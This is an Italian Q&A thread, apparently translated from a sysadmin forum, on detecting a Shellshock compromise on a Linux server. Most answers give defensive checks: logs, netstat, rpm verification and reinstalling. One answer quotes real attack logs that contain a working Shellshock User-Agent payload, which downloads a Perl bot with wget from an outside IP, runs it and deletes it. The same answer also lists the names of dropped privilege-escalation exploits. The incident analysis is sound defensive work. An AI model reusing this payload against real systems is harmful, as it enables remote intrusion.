Shellshock: come faccio a sapere se il mio server è compromesso + file sospetti a cui fare attenzione


18

Tre domande a cui spero che qualcuno possa aiutare a rispondere:

  1. Come faccio a sapere se il mio server è già stato compromesso a causa del bug Shellshock?
  2. Se è stato compromesso, esiste una cartella particolare in cui dovrei cercare file dannosi?
  3. Come appare un file dannoso?

Sto usando CentOS 6, stack LEMP

Risposte:


36

Come faccio a sapere se il mio server è già stato compromesso a causa del bug Shellshock?

Non Questa è l'idea di una vulnerabilità della sicurezza. Se dovessi fare clic su Let the crackers in? OK / Annulla non sarebbe una grande vulnerabilità.

Potresti avere un po 'di fortuna nel controllare i registri dei tuoi vettori di attacco, ma dato che così tanti servizi sono vulnerabili e non tutti registrano ogni accesso, è probabile che non sia possibile trovare un attacco in modo definitivo.

Se è stato compromesso, esiste una cartella particolare in cui dovrei cercare file dannosi?

No, un file dannoso potrebbe essere ovunque.

Rootkit comuni si installano in /rooto /o /tmpo uno dei percorsi binari, ma in realtà potrebbero essere ovunque. Potrebbero avere un nome simile a un servizio reale o qualcosa di "importante" che assomiglia a " IPTables" o " kernel-bin" ma potrebbero anche essere stringhe casuali di caratteri o lo stesso nome di un vero binario (solo in un percorso diverso). Puoi individuare un rootkit davvero ovvio caricando /etc/rc.localo facendo connessioni tramite netstat -neopa. Cerca nomi di processi sospetti in top -c.

Un rootkit meno comune e molto più difficile da trovare sostituisce una libreria o si carica come libreria shim e intercetta le chiamate di sistema. Questo è quasi impossibile da trovare a meno che non si tenga traccia / ltrace di ogni singola cosa in esecuzione sul proprio sistema e si confronta il comportamento con il comportamento previsto di un sistema o codice sorgente noto.

Sarebbe più veloce, più facile e più conclusivo ricaricare il sistema.

Come appare un file dannoso?

Probabilmente come qualsiasi altro binario o libreria ELF normale. Potrebbe anche essere una sceneggiatura.

In conclusione, se pensi che esista la possibilità che il tuo sistema sia stato compromesso, tratta il sistema come se fosse stato compromesso e prendi le misure necessarie.


14
+1 "Far entrare i cracker?" In un'altra nota ... se vedi qualcosa chiamato "IPTables" su Linux, sii molto sospettoso. UNIXian è CapsPhobic.
vescovo,

se pensi che ci sia la possibilità che il tuo sistema sia stato compromesso, tratta il sistema come se fosse stato compromesso e prendi le misure necessarie. Ciò significa che ogni possibile sistema che è stato bashinstallato e un cavo di rete collegato, giusto?
Federico Poloni,

@FedericoPoloni Solo se qualcuno è in grado di accedere alla tua shell tramite la rete. Ma per il resto hai assolutamente ragione.
scai,

@FedericoPoloni Non sono sicuro che sia una scelta saggia, perché dovrei avere costantemente tutti i sistemi disattivati, dal momento che non posso mai essere sicuro al 100% che non siano stati compromessi e seriamente nessuno può essere sicuro che i loro sistemi non siano stati compromessi a meno che sono un idi * t molto ottimista. Se hai il sospetto che il tuo sistema non si comporti come dovrebbe, dovresti esaminarlo e il suo traffico di rete, preferibilmente da un SO CLEAN. Non trovi alcuna prova di manomissione e non devi prendere misure oltre a riparare i fori. Altrimenti dovremmo reinstallare costantemente TUTTI i sistemi 24x7!
Frank Waller,

@FrankWaller Sono completamente d'accordo. Esiste sempre una remota possibilità che un sistema sia stato compromesso e che l'attaccante sia abbastanza abile da non lasciare alcuna traccia, ma non è possibile reinstallare 24x7 per soddisfare questo caso.
Federico Poloni,

21

shellshock non è un worm quindi non ci sono file da cercare. Shellshock è un modo per attaccare una rete per ottenere l'accesso. Una volta dentro chissà cosa farà l'attaccante.


3
Questa risposta mi sembra un po 'confusa, forse è stata cancellata di fretta, o dovrebbe essere un commento invece di una risposta. Certo, non è un worm (è una vulnerabilità, non un malware), ma non è chiaro perché pensi che sia rilevante o perché ciò significhi "non ci sono file da cercare". Shellshock non è un modo per attaccare una rete; è un modo per entrare in una macchina. È un attacco a una macchina, non a una rete.
DW

2
@DW Concesso molto conciso, ma chiaramente in risposta diretta alla preoccupazione del PO is there a particular folder where I should look for malicious files.
ᴠɪɴᴄᴇɴᴛ

5

Ho visto un tentativo di sfruttare il bug, che avrebbe installato un bot IRC come /var/tmp/x. Ma in generale non ci sono file particolari da cercare, poiché potrebbero essere ovunque o in nessun luogo.

Se vieni compromesso tramite il server Web, qualsiasi nuovo file o processo di proprietà dell'utente del server Web sarebbe sospetto.

Nel caso in cui un utente malintenzionato utilizzasse prima il bashbug per entrare nel sistema e successivamente divenisse una vulnerabilità locale root, potrebbe diventare quasi impossibile da individuare.

Guarda anche questa domanda simile .


+1 per l'idea di proprietà dell'utente del web server
Xan,

4

Vorrei fare eco alla risposta di suprjami e dire che se il tuo sistema è vulnerabile, dovresti trattarlo come compromesso.

Se stai eseguendo apache puoi controllare i log per i tentativi di intrusione di Shellshock con il seguente comando:

[root@server ~]# grep cgi /var/log/httpd/access*|egrep "};|}\s*;"

Questo comando estrae tutte le righe che contengono "cgi" dai log di accesso di Apache (per impostazione predefinita chiamato access_log, access_log.1, access_log.2 ecc.), Quindi lo reindirizza in egrep con regex.

(Fonte: http://linux.slashdot.org/story/14/09/24/1638207/remote-exploit-vulnerability-found-in-bash )


Nota che per una configurazione predefinita di Apache, questo mostrerà solo attacchi nell'URL di destinazione e nelle intestazioni "User-Agent" e "Referer". Un attacco in un'intestazione come "Cookie" o "X-Ploit" non verrà registrato.
Segna il

1
@Mark Assolutamente, avrei dovuto dirlo.
Ralph,

1
Naturalmente, la prima cosa che farebbe qualsiasi attaccante che si rispetti è cancellare tutti i suggerimenti dell'attacco dai registri ... ecco perché i registri dovrebbero essere scrivibili una sola volta e remoti!
Jörg W Mittag,

4

Dal momento che esistono diversi vettori di attacco per Shellshock, alcuni dei quali ancora sconosciuti al pubblico o causati da uno script CGI personalizzato, non esiste un modo preciso per stabilire se si è compromessi o meno.

Oltre al solito approccio "vediamo se alcuni file di sistema sono cambiati o si è verificato qualcos'altro di recente" potresti voler tenere d'occhio il comportamento del tuo server.

  1. All'improvviso c'è molto più traffico di rete?
  2. L'utilizzo della CPU / della memoria è cambiato molto?
  3. Qualcosa consuma lo spazio su disco o causa più I / O molto più del solito?
  4. Non netstatmostra le connessioni di rete strani o ps auxprocessi spettacolo non si riconoscono?
  5. Il tuo server invia improvvisamente molte più e-mail di prima?

Se il monitoraggio dell'integrità del server (come Zabbix) è attivo e funzionante, può aiutarti anche a scoprire violazioni della sicurezza. È inoltre possibile confrontare le somme MD5 / SHA dei file di sistema con un backup valido noto.

Fondamentalmente agisci come se il tuo server fosse stato compromesso e investiga su tutto ciò che ti viene in mente.


4

Ho appena avuto il piacere di ripulire un vecchio sistema Plesk compromesso. La prima cosa che lo ha dato via sono stati numerosi processi che hanno iniziato ad ascoltare un numero di porte e altri che cercavano di scaricare il codice dal server di scansione originale.

    lsof -i -n
...
        perl       1899      user100     3u  IPv4 227582583      0t0  TCP 87.106.215.123:49859->94.102.63.238:https (SYN_SENT)
        perl       1999      user101     3u  IPv4 227582597      0t0  TCP 87.106.215.123:49861->94.102.63.238:https (SYN_SENT)
        perl       2016       wwwrun     3u  IPv4 227549964      0t0  TCP 87.106.215.123:56263->94.102.63.238:https (ESTABLISHED)
...

Seguendo i registri ho scoperto che l'ultimo buco era la cgi_wrappersceneggiatura, qualcosa che avrebbe dovuto proteggere e proteggere il sistema è ciò che effettivamente ha strappato il buco nella protezione. Ecco alcune delle linee di registro delle sonde e dell'attacco riuscito:

Queste sono le linee di access_log, dato che questo è solo un esempio, nota 200 su due delle linee mentre le altre falliscono con 404. Non devi preoccuparti delle linee che hanno un 404 poiché queste non hanno avuto successo, quelli con 200 invece lo hanno fatto. Lo schema di questi attacchi qui è sempre lo stesso: 1. trova uno script cgi vulnerabile usa exploit shellshock per scaricare ed eseguire uno script perl, eliminare di nuovo lo script perl. Lo script perl scaricherà effettivamente alcuni file sorgente (tgz), li compilerà e li eseguirà, da quello che ho visto includono almeno una backdoor e un meccanismo di aggiornamento automatico, oltre a quelli che sembrano exploit per cercare di ottenere privilegi di esecuzione elevati. Tutti gli script iniziali vengono effettivamente eseguiti come l'utente fornito dal wrapper mentre i servizi successivi vengono avviati con un PPID pari a 1 (avviato dal processo di root)).

94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-sys/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /phppath/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php5-cli? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /phppath/cgi_wrapper? HTTP/1.1" 200 9 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-sys/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /phppath/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php5-cli? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /phppath/cgi_wrapper? HTTP/1.1" 200 9 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"

E qui le corrispondenti righe error_log:

[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] File does not exist: /srv/www/vhosts/default/htdocs/cgi-sys
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/cgi-bin/cgi_wrapper/php
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] --2014-09-28 00:41:03--  http://94.102.63.238/shell.pl
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Connecting to 94.102.63.238:80...
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] connected.
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] HTTP request sent, awaiting response...
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 200 OK
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Length:
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 17079
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]  (17K)
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]  [text/x-perl]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Saving to: `/tmp/bot.pl'
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]      0K
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 100%
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]   626K
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] =0.03s
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 2014-09-28 00:41:03 (626 KB/s) - `/tmp/bot.pl' saved [17079/17079]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5-cli
[Sun Sep 28 00:46:03 2014] [warn] [client 94.102.63.238] Timeout waiting for output from CGI script /srv/www/cgi-bin/cgi_wrapper/cgi_wrapper
[Sun Sep 28 00:46:03 2014] [error] [client 94.102.63.238] (70007)The timeout specified has expired: ap_content_length_filter: apr_bucket_read() failed
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] File does not exist: /srv/www/vhosts/default/htdocs/cgi-sys
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/cgi-bin/cgi_wrapper/php
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] --2014-09-28 01:29:34--  http://94.102.63.238/shell.pl
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Connecting to 94.102.63.238:80...
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] connected.
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] HTTP request sent, awaiting response...
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 200 OK
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Length:
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 17079
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]  (17K)
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]  [text/x-perl]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Saving to: `/tmp/bot.pl'
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]      0K
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 100%
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]   575K
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] =0.03s
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 2014-09-28 01:29:34 (575 KB/s) - `/tmp/bot.pl' saved [17079/17079]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5-cli
[Sun Sep 28 01:34:34 2014] [warn] [client 94.102.63.238] Timeout waiting for output from CGI script /srv/www/cgi-bin/cgi_wrapper/cgi_wrapper
[Sun Sep 28 01:34:34 2014] [error] [client 94.102.63.238] (70007)The timeout specified has expired: ap_content_length_filter: apr_bucket_read() failed

File scaricati su / tmp Come si può immaginare, non ho il file bot.pl poiché è stato cancellato immediatamente.

-rwxr-xr-x 1 user100  psacln   187 Sep 29 01:02 check
-rwxr-xr-x 1 user100  psacln  9849 Sep 29 03:35 exploit
drwxr-xr-x 4 user100  psacln  4096 Sep 29 03:19 expls
-rw-r--r-- 1 user100  psacln 91693 Sep 29 03:13 expls.tgz
-rw-r--r-- 1 user100  psacln   178 Sep 29 03:35 payload.c

cd ./expls
drwxr-xr-x 2 user100  psacln  4096 Sep 29 03:13 1
drwxr-xr-x 2 user100  psacln  4096 Sep 29 03:13 2
-rwxr-xr-x 1 user100  psacln 23040 Sep 29 03:19 bcm
-rw-r--r-- 1 user100  psacln 15695 Sep 29 02:46 bcm.c
-rwxr-xr-x 1 user100  psacln 13175 Sep 29 03:19 bug
-rw-r--r-- 1 user100  psacln  2657 Sep 29 02:46 bug.c
-rwxr-xr-x 1 user100  psacln 14560 Sep 29 03:13 config
-rw-r--r-- 1 user100  psacln  6468 Sep 29 02:46 config.c
-rwxr-xr-x 1 user100  psacln 13866 Sep 29 03:13 config2
-rw-r--r-- 1 user100  psacln  6335 Sep 29 02:46 config2.c
-rw-r--r-- 1 user100  psacln  2736 Sep 29 02:46 data.c
-rw-r--r-- 1 user100  psacln  4221 Sep 29 02:46 diag.c
-rwxr-xr-x 1 user100  psacln 13698 Sep 29 03:19 expl
-rw-r--r-- 1 user100  psacln  1686 Sep 29 02:46 expl.c
-rw-r--r-- 1 user100  psacln 15013 Sep 29 02:46 half.c
-rwxr-xr-x 1 user100  psacln 18611 Sep 29 03:19 nellson
-rw-r--r-- 1 user100  psacln  9489 Sep 29 02:46 nellson.c
-rwxr-xr-x 1 user100  psacln   419 Sep 29 02:03 origin
-rw-r--r-- 1 user100  psacln 15727 Sep 29 02:46 pipe.c
-rwxr-xr-x 1 user100  psacln 13481 Sep 29 03:19 polkit
-rw-r--r-- 1 user100  psacln  3597 Sep 29 02:46 polkit.c
-rwxr-xr-x 1 user100  psacln  2741 Sep 29 01:51 preload
-rwxr-xr-x 1 user100  psacln   208 Sep 29 02:01 preload2
-rwxr-xr-x 1 user100  psacln 14257 Sep 29 03:13 rds
-rw-r--r-- 1 user100  psacln  7250 Sep 29 02:46 rds.c
-rwxr-xr-x 1 user100  psacln   233 Sep 29 03:13 run
-rwxr-xr-x 1 user100  psacln 17864 Sep 29 03:19 semtex
-rw-r--r-- 1 user100  psacln  3757 Sep 29 02:46 semtex.c
-rwxr-xr-x 1 user100  psacln 14023 Sep 29 03:13 semtex2
-rw-r--r-- 1 user100  psacln  4799 Sep 29 02:46 semtex2.c
-rwxr-xr-x 1 user100  psacln 17904 Sep 29 03:19 semtex3
-rw-r--r-- 1 user100  psacln  2691 Sep 29 02:46 semtex3.c
-rwxr-xr-x 1 user100  psacln 13014 Sep 29 03:19 shell
-rw-r--r-- 1 user100  psacln   159 Sep 29 02:46 shell.c
-rwxr-xr-x 1 user100  psacln  9157 Sep 29 03:13 sock
-rw-r--r-- 1 user100  psacln  2232 Sep 29 02:46 sock.c
-rwxr-xr-x 1 user100  psacln   438 Sep 29 03:13 start
-rwxr-xr-x 1 user100  psacln 18268 Sep 29 03:19 sys32
-rw-r--r-- 1 user100  psacln  5389 Sep 29 02:46 sys32.c
-rw-r--r-- 1 user100  psacln 25396 Sep 29 02:46 x86_64.c

Dopo un po 'ho notato connessioni ssh da vari posti come la Cina che di solito non visitano molto il nostro server. Ho patchato bash come misura di emergenza (sarebbe stato bello avere fonti patchate disponibili dal sito Web di FSF e non solo le fonti e i file patch veramente VECCHI (uno dei quali non si applicava correttamente all'inizio). Il sistema è pianificato per un completo pulisci ora, quindi se qualcuno sta cercando qualcos'altro sull'attacco, puoi chiedere, ma fallo presto.


3

Questa risposta non è particolarmente correlata a Shellshock ma per qualsiasi sistema che potresti ritenere compromesso

seconda nota: non si può essere certi di essersi ripristinati da un sistema compromesso al root. La tua unica azione è distruggere e ripetere il provisioning del sistema

Prova a ottenere una build statica pulita di rpmed esegui il comando rpm --verify --all. Ti dirà quali file appartenenti a un pacchetto sono stati modificati. Ma dal momento che puoi eseguirlo su un sistema compromesso, potresti non fidarti completamente del risultato. Quindi puoi semplicemente fare un rpm -qaper ottenere l'elenco dei pacchetti, ricreare un altro sistema con le stesse versioni dei pacchetti e quindi un find / -type f |xargs -r -n 100 md5sum |sortsu entrambi i sistemi e vedere cosa differisce. Inoltre, se gestisci correttamente il tuo sistema (ovvero non installa nulla manualmente al di fuori di / opt o / usr / local / bin o in un altro luogo non gestito), puoi cercare tutti i file nel tuo sistema che non appartengono a un pacchetto, con find / -type f -exec rpm -qf {} \;. Dovrebbe mostrare errori per file sconosciuti. Ti ho lasciato non mostrare gli aspetti positivi come un esercizio 